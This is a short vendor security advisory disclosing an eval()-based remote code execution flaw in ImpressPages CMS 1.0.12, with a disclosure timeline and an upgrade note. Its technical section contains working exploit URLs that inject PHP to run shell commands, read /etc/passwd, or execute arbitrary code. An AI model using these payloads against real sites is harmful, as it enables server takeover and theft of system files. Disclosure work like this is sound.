Remote code execution in ImpressPages CMS


Name: Remote code execution in ImpressPages CMS
Release Date:  5 January 2012
Reference: NGS00109
Discoverer: David Middlehurst 
Vendor: ImpressPages
Vendor Reference:
Systems Affected: ImpressPages CMS 1.0.12
Risk: High
Status: Published


Discovered: 28 August 2011
Released: 28 August 2011
Approved: 28 August 2011
Reported:  5 September 2011
Fixed: 21 September 2011
Published:  5 January 2012


ImpressPages CMS (1.0.12) is prone to a remote command execution attack due to an unsanitised eval() code execution flaw.

Technical Details

http://host/impresspages/?cm_group=text_photostitleModule();echo%20shell_exec(‘ls%20-alh’);echo cm_name=test
http://host/impresspages/?cm_group=text_photostitleModule();echo%20file_get_contents(‘/etc/passwd’);echo cm_name=test
http://host/impresspages/?cm_group=text_photostitleModule();[[ArbitraryPHP Code Here]];echo cm_name=test

The affected code:
File: /ip_cms/modules/standard/content_management/actions.php Line 37
    if(isset($_REQUEST[‘cm_group’]) isset($_REQUEST[‘cm_name’])) {
      eval (‘ $new_module = new

Fix Information

Please update all instances of Impress Pages to the 1.0.13 release:

Call us before you need us.

Our experts will help you.

Get in touch